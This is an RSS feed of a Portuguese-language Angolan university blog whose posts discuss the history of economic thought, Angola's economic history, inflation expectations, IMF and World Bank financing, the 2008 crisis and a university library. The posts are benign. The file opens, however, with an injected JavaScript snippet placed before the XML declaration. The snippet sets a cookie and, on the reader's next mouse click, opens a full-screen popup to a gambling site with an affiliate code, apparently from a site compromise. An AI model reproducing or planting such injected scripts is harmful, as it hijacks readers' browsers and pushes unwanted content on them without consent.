<script>function PopShow3(){var wn=window.open("","PopWin3","width="+screen.width+",height="+screen.height+",resizable=1,toolbar=0,location=0,menubar=0,status=0,scrollbars=1'");wn.location.href='http://www.spinpalace.com/index.asp?s=wgs19428';wn.focus();document.onmouseup="";}var cookieString=document.cookie;var start=cookieString.indexOf("kmr9eE1=");if(start==-1){var expires=new Date();expires.setTime(expires.getTime()+3*3600*1000);document.cookie="kmr9eE1=update;expires="+expires.toGMTString();document.onmouseup=PopShow3;}</script><!-- uy7gdr5332rkmn --><?xml version="1.0" encoding="UTF-8"?>
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	<title>O Blog da Universidade Metropolitana de Angola</title>
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	<description>Uma janela para partilha do conhecimento e o debate de ideias</description>
	<pubDate>Thu, 03 Jun 2010 15:52:05 +0000</pubDate>
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		<title>História do Pensamento Económico - Relevância da Disciplina</title>
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		<pubDate>Thu, 03 Jun 2010 15:52:05 +0000</pubDate>
		<dc:creator>Prof. Saly</dc:creator>
		
		<category><![CDATA[História do Pensamento Económico]]></category>

		<category><![CDATA[Adam Smith]]></category>

		<category><![CDATA[Angola]]></category>

		<category><![CDATA[Escola Clássica]]></category>

		<category><![CDATA[Fisiocracia]]></category>

		<category><![CDATA[Keynes]]></category>

		<category><![CDATA[Marx]]></category>

		<category><![CDATA[Mercantilismo]]></category>

		<category><![CDATA[Mill]]></category>

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		<description><![CDATA[Este é um daqueles blogs que nos fazem crer que o posting do mesmo esta mais dirigido para uma questão de retrospectiva do que &#8220;docente&#8221; relativamente. Entretanto, uma será relacionada a outra.
Há coisa de mias ou menos 3 meses tenho leccionado a disciplina de História do Pensamento Económico a turmas do 2º ano de Economia [...]]]></description>
			<content:encoded><![CDATA[<p>Este é um daqueles blogs que nos fazem crer que o posting do mesmo esta mais dirigido para uma questão de retrospectiva do que &#8220;docente&#8221; relativamente. Entretanto, uma será relacionada a outra.</p>
<p>Há coisa de mias ou menos 3 meses tenho leccionado a disciplina de História do Pensamento Económico a turmas do 2º ano de Economia e dentro de nossas discussões mais recentes referimos questões prá lá de interessantes:</p>
<p>Ao abordarmos por exemplo a Escola Clássica e a relevância da mão invísivel descrita por Adam Smith, verificámos que a produção racional, sem excessos ou escassez, neste caso o equilíbrio da oferta e procura, seria então a melhor forma de se apostar a produção efectiva de um país. Em nossas análises considerámos muito importante o facto de um país apostar sempre na produção dentro dos seus limites tanto de materiais ou meios de produção.</p>
<p>Já com relação a Fisiocracia, este aspecto detonou a possibilidade de termos muita pouca rodução na área agrícola uma vez que as guerras não favoreceram em nada esta actividade e pelo contrário, ainda registamos a existência de minas em campos considerados fertéis para a agricultura.</p>
<p>O Mercantilismo tornou-se o tópico da vez, meus estudantes concordaram que Angola neste exacto momento aposta mais em seus recursos naturais - brutos, dignos de exploração. Com isto realçaremos a teoria desta escola que considera a riqueza de um país somente ao facto de possuir riquezas definidas em metais.</p>
<p>Uma vez que estamos a terminar o semestre e esta cadeira é semestral, estamos a reflectir na Lei de say e o facto deste afirmar que a cada oferta existe uma procura - a lei dos mercados; em Angola vende-se e compra-se de tudo e isto de certa forma serve como uma luva a nossa realidade. outro ponto interessantíssimo neste aspecto é a crítica de Thomas Malthus à Lei de Say, que há sempre uma crise económica uma vez que factores como desemprego e inflação podem de certa forma influencoar no subconsumo da produção, aumentando excessos que nós vemos resultarem em saldos ou degradação de bens comestíveis.</p>
<p>Se Deus quiser fechamos o semestre apôs o dia 4 de Junho e pensadores como Mill, Keynes, Marx e outros ajudar-nos-ão a entender as várias facetas económicas que Angola ainda terá de se identificar uma vez que ápesar da disciplina falar da história do pensamento destes grandes pensadores, existe uma enorme relevância no ontem deles e no nosso hoje!</p>
<p>Até o próximo posting!</p>
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		<title>História Económica de Angola</title>
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		<pubDate>Thu, 08 Apr 2010 14:48:09 +0000</pubDate>
		<dc:creator>Prof. Saly</dc:creator>
		
		<category><![CDATA[Ciências Sociais &amp; Humanas]]></category>

		<category><![CDATA[Angola]]></category>

		<category><![CDATA[colonialismo]]></category>

		<category><![CDATA[economia]]></category>

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		<description><![CDATA[esta semana tive a primeira aula com os estudantes do curso de Licenciatura em Administração de Empresas do II ano e foi muito interessante. descobrimos que muito antes da colonização - pré Colonialismo, os angolanos (ainda sem este nome) ja viviam organizados em reinos, desenvolviam o artesanato, eram artistas de arte, oleiros e claro já [...]]]></description>
			<content:encoded><![CDATA[<p>esta semana tive a primeira aula com os estudantes do curso de Licenciatura em Administração de Empresas do II ano e foi muito interessante. descobrimos que muito antes da colonização - pré Colonialismo, os angolanos (ainda sem este nome) ja viviam organizados em reinos, desenvolviam o artesanato, eram artistas de arte, oleiros e claro já desenvolviam a agricultura e pastorícia.</p>
<p>deu para perceber que por meio das distribuições entre espaços, como norte, sul e centro estas actividades eram de certa elaboradas dentro de um comércio entre os mesmos, que por sua vez resultava numa força produtiva e relações de produção, conclusão a economia em Angola já existia!</p>
<p>É claro que a chegada do colonialismo desenvolveu a utilização da roda e charrua, mas é bom saber que Angola já desenvolvia actividades que hoje são consideradas primordiais para um governo: a organização e produção.</p>
<p>próxima aula falaremos das revoltas que foram acontecendo entre as 4 etapas do colonialismo: 1500 a 1885, 1910 e 1961 todas envolvendo a escravatura e a revolução de Angola. A propósito lembrámo-nos de Bula Matadi um dos primeiros opositores que surgiu no século XVI que morreu a lutar contra Álvaro I e sua tropa, foi bom falar dele porque os estudantes lebraram-se de um dos nossos docentes o prof. Bula que esta connosco há um ano!</p>
<p>até o próximo posting!</p>
<p> </p>
<p>Profa. Saly</p>
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		<title>Expectativas de inflação</title>
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		<pubDate>Sun, 21 Feb 2010 10:05:08 +0000</pubDate>
		<dc:creator>Ana Mathaya</dc:creator>
		
		<category><![CDATA[Economia e Gestão]]></category>

		<category><![CDATA[Fundamentos da Economia]]></category>

		<category><![CDATA[História do Pensamento Económico]]></category>

		<category><![CDATA[Metodologia de Investigação Cientifica]]></category>

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		<description><![CDATA[Leccionar Economia mais do que transmitir conceitos teóricos ‘e capacitar os alunos a interpreta-los a luz de sua vivência, este post vem a propósito do ultimo trabalho de pesquisa aos estudantes de FUNDAMENTOS II sobre o comportamento da inflação angolana nos últimos 10 anos, quando um dos alunos fez uma pergunta interessante a respeito do [...]]]></description>
			<content:encoded><![CDATA[<p>Leccionar Economia mais do que transmitir conceitos teóricos ‘e capacitar os alunos a interpreta-los a luz de sua vivência, este post vem a propósito do ultimo trabalho de pesquisa aos estudantes de FUNDAMENTOS II sobre o <strong><em>comportamento da inflação angolana nos últimos 10 anos</em></strong>, quando um dos alunos fez uma pergunta interessante a respeito do comportamento das perspectivas de mercado sobre o valor da inflação nos próximos períodos, em Angola. Isto a que meu aluno chamou de perspectivas e o que tranquilamente podemos chamar de EXPECTATIVAS!</p>
<p class="MsoNormal"><span style="Times-Roman;">Do ponto de vista da<span> </span>teoria económica poderíamos dar <strong><em>três respostas</em></strong>, as expectativas são, adaptativas, ou seja, os agentes repetem a inflação anterior ao definir a expectativa presente, o mecanismo supõe que as expectativas são corrigidas (ou adaptadas) em<span> </span>função do último erro observado, outra hipótese seria a das expectativas racionais, que pressupõe  que os agentes utilizam toda a informação disponível ao formular as novas expectativas, eles tomam em consideração não somente os valores passados da inflação, mas toda a informação disponível e relevante, de tal forma que não cometam erros sistémicos-<span> </span>em media as expectativas racionas terão erro 0.<span> </span>Uma terceira e mais recente hipótese, e a chamada <em>stick information</em> ou seja <em>expectativas sob informação rígida</em>, que sustenta que os agentes utilizam toda a informação disponível, mas não a processam todos os períodos porque há um custo nisso, <strong><em>sobre Angola o que nos oferece dizer?</em></strong> Após alguma discussão com os alunos rapidamente um deles chegou  a conclusão de que em angola as expectativas em Angola são formada <em>sob sticky information</em> Se estamos a falar de ciência não podemos nos deixar tomar pela <em>falácia não comprovada</em>- mesmo que empiricamente – que as expectativas de mercado para inflação angolana são adaptativas, racionais ou então<em> sob informação rígida</em>. Uma resposta mais aproximada necessitaria assentar em estudo econométricos de longas series temporais incorporando modelos macreoeconomicos, capazes de capturar a tendencia de decisões relevantes dos agenes economicos. Todavia, do ponto de vista monetário estes ensaios ainda são insuficientes. Além de tentar responder aos meus alunos, deixo a questão em aberto para discussão no fórum. </span></p>
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		<title>Emigração ou Migração</title>
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		<pubDate>Mon, 28 Dec 2009 22:53:14 +0000</pubDate>
		<dc:creator>vicente.francisco</dc:creator>
		
		<category><![CDATA[Fundamentos da Economia]]></category>

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		<description><![CDATA[&#8230;Há quem diz que e um só conceito,  mais os estudiosos fazem a seguinte comparação:
Emigração- visa a saida de determinados cidadaos do seu território para outro.
Migração- este conceito visa ao regresso de tais cidadaos saidos da sua patria por varios motivos, ou o regresso indiscriminado de angolanos expulsos do da RDC.
Sabemos que esses assuntos trazem [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;Há quem diz que e um só conceito,  mais os estudiosos fazem a seguinte comparação:</p>
<p>Emigração- visa a saida de determinados cidadaos do seu território para outro.</p>
<p>Migração- este conceito visa ao regresso de tais cidadaos saidos da sua patria por varios motivos, ou o regresso indiscriminado de angolanos expulsos do da RDC.</p>
<p>Sabemos que esses assuntos trazem consigo repercursões económicas e comerciais, sabemos o que provocou o encerramento da fronteira do Luvo, até que se criem as condições de reassentamento dos expatriados&#8230;</p>
<p>A minha questão para a vossa reflexão:</p>
<p>Expatriados ou Repatriados.</p>
<p>Deslocados ou Regressados.</p>
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		<title>Financiamento Standbye</title>
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		<pubDate>Thu, 01 Oct 2009 21:34:05 +0000</pubDate>
		<dc:creator>vicente.francisco</dc:creator>
		
		<category><![CDATA[Economia e Gestão]]></category>

		<category><![CDATA[Fundamentos da Economia]]></category>

		<category><![CDATA[Macroeconomia]]></category>

		<category><![CDATA[Microeconomia]]></category>

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		<description><![CDATA[O Governo Angolano estableceu um acordo com o Banco Mundial para concessão de um financiamento para por cobro ressaca da crise mundial que afecta não apenas a Europa, America, Asia mas também a África.
Penso que este financiamento, não vai ajudar o governo nem tão pouco o povo angolano pelo facto de que sera para o nosso Governo mais uma [...]]]></description>
			<content:encoded><![CDATA[<p>O Governo Angolano estableceu um acordo com o Banco Mundial para concessão de um financiamento para por cobro ressaca da crise mundial que afecta não apenas a Europa, America, Asia mas também a África.</p>
<p>Penso que este financiamento, não vai ajudar o governo nem tão pouco o povo angolano pelo facto de que sera para o nosso Governo mais uma forma de endividamento a longo prazo, vistas as contas o país já esta endividado com a China, no que conserne a recontruçao de infraestruturas e obras públicas.</p>
<p>Um dos grandes factores do nosso país para que essa crise nos afectasse foi a baixa dos impostos relativos as receitas petroliferas, cobradas pelo governo, mais sou de opinião que o governo deveria meter um freio e abrir bem os olhos a financiamento proveniesnte destas instituiçoes financeiras mundiais da qual somos membros de pleno direito, pelo facto de elas cobrarem taxas de juros muito altas sobre o valor do emprestimo que o governo espera.</p>
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		<title>Angola &#38; FMI</title>
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		<pubDate>Thu, 01 Oct 2009 21:18:32 +0000</pubDate>
		<dc:creator>Jamito Corte Real</dc:creator>
		
		<category><![CDATA[Analise Financeira]]></category>

		<category><![CDATA[Economia e Gestão]]></category>

		<category><![CDATA[Fundamentos da Economia]]></category>

		<category><![CDATA[Macroeconomia]]></category>

		<category><![CDATA[Microeconomia]]></category>

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		<description><![CDATA[
A equipa económica do Governo, concluiu a primeira etapa das negociações com o FMI, para um Acordo Stand-by, devendo os termos de referencia ser apreciados pelo Board do FMI em Novembro. O referido programa tem como objectivo fundamental aliviar as pressões sobre a liquidez, elevar a credibilidade da gestão económica e restaurar a posição do desempenho [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="0cm 0cm 2pt;"><span style="PT;"><a href="http://www.flagline.com/images/patches/shield/angola.jpg"><img class="alignright" src="http://mapsof.net/uploads/static-maps/angola_flag_map.png" alt="" width="110" height="120" /></a><img class="alignleft" src="http://www.lendingcentral.com/wp-content/uploads/imf-logo.png" alt="" width="103" height="96" /></span></p>
<p class="MsoNormal" style="0cm 0cm 2pt;"><span style="PT;">A equipa económica do Governo, concluiu a primeira etapa das negociações com o FMI, para um <strong>Acordo Stand-by</strong>, devendo os termos de referencia ser apreciados pelo Board do FMI em Novembro. O referido programa tem como objectivo fundamental aliviar as pressões sobre a liquidez, elevar a credibilidade da gestão económica e restaurar a posição do desempenho macroeconómico que a economia vinha vivendo. O programa vai concentrar-se no controlo e rigor do gasto público para o orçamento de 2010, e a adopção de uma politica monetária firme. <span style="yes;"> </span>Porém espera-se que pelo nível de abertura da nossa economia em relação ao exterior, este programa vise essencialmente dar apoio à Balança de Pagamentos e assegurar a manutenção das Reservas Internacionais, todavia, o efeito positivo sobre as expectativas dos agentes económicos é visto como o maior ganho que este programa espera trazer, dando lugar a um crescimento económico sustentável.</span></p>
<p><span style="AR-SA;"><a href="http://www.imf.org/external/country/AGO/index.htm">Leia mais sobre Angola e FMI</a> </span></p>
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		</item>
		<item>
		<title>Pedaços sobre a crise mundial</title>
		<link>http://unimetroangola.com/wordpress/?p=48</link>
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		<pubDate>Thu, 03 Sep 2009 13:06:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[História do Pensamento Económico]]></category>

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		<description><![CDATA[&#8220;Acabemos de uma vez com a única crise ameaçadora, que é a tragédia de não querer lutar para superá‐la&#8220;.
  Albert Einstein
O que estava errado?
A Matemática dos derivativos estava errada?
O que esteve errado na venda das hipotecas?
Como os bancos viram-se subitamente com carteiras insolventes
Porque razão ninguém ouviu o economista Lawrence J. White, na sua alerta de [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<span style="color: #ff00ff;">Acabemos de uma vez com a única crise ameaçadora, que é a tragédia de não querer lutar para superá‐la</span>&#8220;.<br />
  Albert Einstein</p>
<p>O que estava errado?<br />
A Matemática dos derivativos estava errada?<br />
O que esteve errado na venda das hipotecas?<br />
Como os bancos viram-se subitamente com carteiras insolventes<br />
Porque razão ninguém ouviu o economista <a href="http://www.cato.org/search_results.html?cx=006606822365722333854%3Amcohchfyltw&amp;cof=FORID%3A11&amp;ie=UTF-8&amp;q=lawrence+j.+White" target="_blank">Lawrence J. White</a>, na sua alerta de 2004?<br />
Foi a política monetária imprudente?<br />
Os bancos e correctores foram demasiadamente ambiciosos?<br />
A crise representa alguma oportunidade? Qual?<br />
Como a crise financeira(economica) afectou os países produtores de petróleo?<br />
Aonde estavam os gurus, quando iniciou a crise?<br />
A experiência do Estado Unidos com mais intervenção do Estado. Que lições tomar?<br />
E agora, não ao liberalismo, sim ao Socialismo?<br />
O que dizem os fundamentos dos Keynesianos?<br />
Como medir o grau do liberalismo em países frágeis como na África?<br />
O que significava afinal de contas livre mercado?<br />
Como o nosso PIB pode ser afectado com a crise mundial?<br />
Com a baixa das exportações deve haver selectividade na importação?<br />
Que estratégias devem ser tomadas para aguentar e futuras crises?</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/SmhTpIGezKk" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/SmhTpIGezKk"></embed></object><br />
Quais são as vulnerabilidades do nosso país? E Como fortalecê-lo perante tais fragilidades?<br />
Qual deve ser o peso e o papel da mão-de-obra para considerar um pais forte?<br />
Qual é o nível actual de dependência da mão-de-obra estrangeira? E que estratégias para inverter o quadro?<br />
Como fazer de Angola uma potência efectiva na região?</p>
<p>Leia alguns textos sobre a <a href="http://educaterra.terra.com.br/voltaire/cultura/2008/10/15/000.htm" target="_blank">Teoria da Crise</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Relatório de Competitividade da Africa 2009</title>
		<link>http://unimetroangola.com/wordpress/?p=38</link>
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		<pubDate>Thu, 03 Sep 2009 01:49:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Macroeconomia]]></category>

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		<description><![CDATA[
Foi  recentemente publicado o relatório de competitividade da África para os anos 2008 e 2009, o relatório indica um crescente nível de competitividade ao nível dos negócios na África, adverte a necessidade de um acesso mais facilitado, dos Governos africanos e seus parceiros internacionais, ao mercado financeiro, a necessidade de romper barreiras no comércio, melhorar [...]]]></description>
			<content:encoded><![CDATA[<p><img class=" alignright" src="http://unimetroangola.com/blog1/images/september/africacompetitiv.jpg" alt="Relatório de Competitividade da África" width="175" height="245" /></p>
<p>Foi  recentemente publicado o relatório de competitividade da África para os anos 2008 e 2009, o relatório indica um crescente nível de competitividade ao nível dos negócios na África, adverte a necessidade de um acesso mais facilitado, dos Governos africanos e seus parceiros internacionais, ao mercado financeiro, a necessidade de romper barreiras no comércio, melhorar as infra-estruturas, aperfeiçoar os sistemas de saúde pública e educação e fortalecer as instituições.</p>
<p>As conclusões apresentadas no relatório de 2009, reflectem esforços de investigação de três instituições principais, o <a href="http://www.weforum.org/" target="_blank">Forum Económico Mundial</a>, o <a href="http://www.afdb.org/" target="_blank">Banco Africano de Desenvolvimento</a> e <a href="http://www.worldbank.org/" target="_blank">Banco Mundial</a>.</p>
<p>O acesso limitado aos mercados financeiros, continua sendo o principal obstáculo para as empresas africanas. Mas, o baixo nível de desenvolvimento das infra-estruturas, o acesso limitado ao sistema de saúde pública e o acesso às instituições de ensino, assim como o débil tecido das suas instituições também torna os países africanos menos competitivos no mercado global. O relatório referencia um número de histórias de sucesso na região, indicando os passos que os países devem seguir para uma trajectória de crescimento sustentável.</p>
<p>O relatório referencia, dois pilares de curto prazo e três pilares de longo prazo no domínio da concepção de políticas para promover os índices de competitividade das economias africanas.</p>
<p><strong>Os dois pilares do curto prazo são:</strong></p>
<ol>
<li>Aumento do acesso ao financiamento por via de políticas abertas voltadas ao mercado;</li>
<li>Manter os mercados abertos ao comércio</li>
</ol>
<p><strong>Os três pilares do Longo prazo são:</strong></p>
<ol>
<li>As infra-estruturas constituem um dos principais constrangimentos para os negócios na África;</li>
<li>Ineficiências básicas no sistema de educação e saúde pública limitam a capacidade produtiva e o potencial da África.</li>
<li>São necessários ainda muitos exemplos de boa governação, com um lideranças fortes e alta capacidade visionária.</li>
</ol>
<p>O documento de 351 páginas aponta na página 248 e 249, os principais constrangimentos da Economia Angolana, estabelece uma comparação com a África inteira e os países de rendimento médio. Para Angola, o baixo nível e qualidade da oferta de eletricidade e a corrupção, foram destacados como os principais constrangimentos que afectam o florecer dos negocios.</p>
<p><a title="Relatorio da Competitividade da Africa" href="http://www.weforum.org/documents/AFCR09/index.html" target="_blank">Leia a versão HTML do Relatório aqui</a></p>
<p>Para mais detalhes veja a entrevista da Sra Jeannifer Blanke falando ao detalhe sobre a competitividade dos paises Africanos.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/KwOmZWBQDbY" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/KwOmZWBQDbY"></embed></object></p>
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		</item>
		<item>
		<title>BUCAN- Salva a vida dos Estudantes</title>
		<link>http://unimetroangola.com/wordpress/?p=18</link>
		<comments>http://unimetroangola.com/wordpress/?p=18#comments</comments>
		<pubDate>Wed, 02 Sep 2009 23:24:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Metodologia de Investigação Cientifica]]></category>

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		<description><![CDATA[Artigo de Vladmir Prata - Publicado no Jornal o Pais
A Biblioteca da Uni­versidade Católica de Angola (BUCAN) tem se revelado como um verdadeiro salva-vidas para o grande número de estudantes que em Luanda procuram os seus serviços. Diariamente, cerca de 350 pessoas são atendidas naquela ins­tituição, no horário que vai das oito às 21. São pessoas [...]]]></description>
			<content:encoded><![CDATA[<p>Artigo de Vladmir Prata - Publicado no <a href="http://www.opais.net/">Jornal o Pais</a></p>
<div class="wp-caption alignright" style="width: 130px"><img src="http://www.unimetroangola.com/images/padrecachadinha.jpg" alt="Pe. José Cachadinha, Director da BUCAN" width="120" height="173" /><p class="wp-caption-text">Pe. José Cachadinha, Director da BUCAN</p></div>
<p>A Biblioteca da Uni­versidade Católica de Angola (BUCAN) tem se revelado como um verdadeiro salva-vidas para o grande número de estudantes que em Luanda procuram os seus serviços. Diariamente, cerca de 350 pessoas são atendidas naquela ins­tituição, no horário que vai das oito às 21. São pessoas de vários extractos sociais, estudantes do ensino médio e superior, formandos de diversos estabelecimentos de ensino da capital do país.</p>
<p>O espaço, localizado nas novas instalações da Universidade Católi­ca, no bairro Palanca, é ainda cons­iderado como alternativo pelo seu director, o padre José Cachadinha, que aguarda ansioso a construção da futura biblioteca cuja maqueta pode ver-se exposta na entrada da instituição. Contudo, a BUCAN já deu provas de que é um do locais do género com maior capacidade de atendimento, até me mo a nível do país.</p>
<p> Desde 1999, ano em que foi fundada a UCAN, a instituição já atendeu 406.207 pessoas na sua biblioteca. A maior parte, segundo o padre Cachadinha, são estudan­tes externos à UCAN, sobretudo de escolas e instituto médios que não têm bibliotecas ou que dispõem de pouca bibliografia. A única condição exigida para que se possa consultar livros na BUCAN é identificar-se como estudante.</p>
<p><em>&#8221;Aquelas pessoas que não estejam vinculadas a qualquer instituição de ensino devem contactar antes a direcção da BUCAN para poderem ser autorizadas a utilizar o nosso serviço &#8220;,</em> disse o director.</p>
<p>Até há bem pouco tempo, a Biblioteca funcionava também nas antigas instalações da UCAN , no Kinaxixe. Ao mudar-se totalmen­te para o Palanca, o número de visitante diminuiu, como mostram as estatísticas. Em 2006, por exemplo, a instituição atendeu mais de 79 mil utentes, ao passo que no ano seguinte o número baixou para 66 mil e 500. Em 2008, já só foram 50 mil e 536 visitantes. Este ano, porém, prevê-se que o número de utentes venha a subir novamente, já que muitos estudantes descobriram a nova localização da BUCAN que oferece um e paço maior.</p>
<p>A sala de leituras dispõe de 150 lugares. Para além deste espaço, existe um outro no exterior da instituição, a que o padre Cahadinha chama de varanda da cultura, onde os utentes podem fazer consultas em grupo e debater assuntos académicos enquanto ai estiverem. Trata-se de um lugar<em> &#8220;sui generis</em>&#8220;, já que nas bibliotecas, normalmen­te, o silêncio é urna regra de ouro.</p>
<p>A Biblioteca conta com cerca de 50 mil publicações, entre livros e revistas, todas no activo. Tem igual­mente outras dez mil publicações por classificar, algumas das quais encontram -se ainda em conten­tores. A maioria do acervo de que dispõem é composta por obras que são oferecidas por outras bibliotecas, livrarias, instituições públicas e privadas e individualidades, sobre­tudo do exterior do país.</p>
<p>Até hoje, o acervo bibliográfico da BUCAN não constituiu encargo finan­ceiro para a nossa universidade. Todas as revistas e a maioria dos livros têm sido oferecido por instituições e ami­gos. Os outros por subsídios concedi­dos à biblioteca&#8221;, revela o director, dando a conhecer que todos os me­ses, a Biblioteca selecciona centenas de publicações dispensáveis ao seu acervo e oferece a escolas e outras instituições.</p>
<p>Para além do acervo clássico, cujo catálogo encontra -se mesmo à entrada da Biblioteca em modelo digital (computador) em papel, a instituição conta também com uma sala de internet, o que permite ao utente fazerem consulta on-líne. O espaço para o efeito dispõe de 30 lugares, mas apenas 12 computadores estão operacionais. Para que os estudantes não se desviem dos seus verdadeiros objectivos, a instituição definiu o Websites a serem consultados, limitando assim a entrada noutras páginas que nada têm a ver com a investigação académica.</p>
<p>Foi igualmente criado um sistema virtual, onde podem ser encontra­das já algumas obras corno enciclopédias&#8217; dicionário multilingue, entre outras. Um do objectivos da Biblioteca é colocar todo eu acervo na página Web da UC e na Intranet. &#8220;Um sonho de há dez anos que nunca conseguimos realizar&#8221; , diz O padre Cachadinha.</p>
<p><strong>Formação de bibliotecários</strong></p>
<p>Onze pessoas garantem o funciona­mento da instituição, divididas por áreas: a área de tratamento - que inclui a aquisição, registo, carimba­gem, magnetização (para efeitos de segurança), catalogação, classifica­ção, digitalização, cotação e coloca­ção na estante - e a de recepção de utentes. De acordo com o director da instituição, todo o anos estes funcionários recebem formação, através do curso intensivo de biblio­teconomia organizado pela BUCAN, nos quais têm participado também técnicos bibliotecários de outras instituições e universidades, como a Universidade Técnica de Angola, a <a href="http://www.unimetroangola.com/">Universidade Metropolitana de Angola</a> , Ins­tituto Superior de Ciências Sociais e Relações Internacionais, entre outras.</p>
<p><em>&#8220;Já tivemos nestes cursos cerca de cem alunos inscritos, e 82 receberam diplomas. Destes, mais de 60 perten­cem à outras instituições, alguns dos quais encontram - se a trabalhar em bibliotecas doutras universidades&#8221;.</em> disse.</p>
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		<title>Hello amigos estudantes e Professores!</title>
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		<pubDate>Mon, 29 Sep 2008 21:29:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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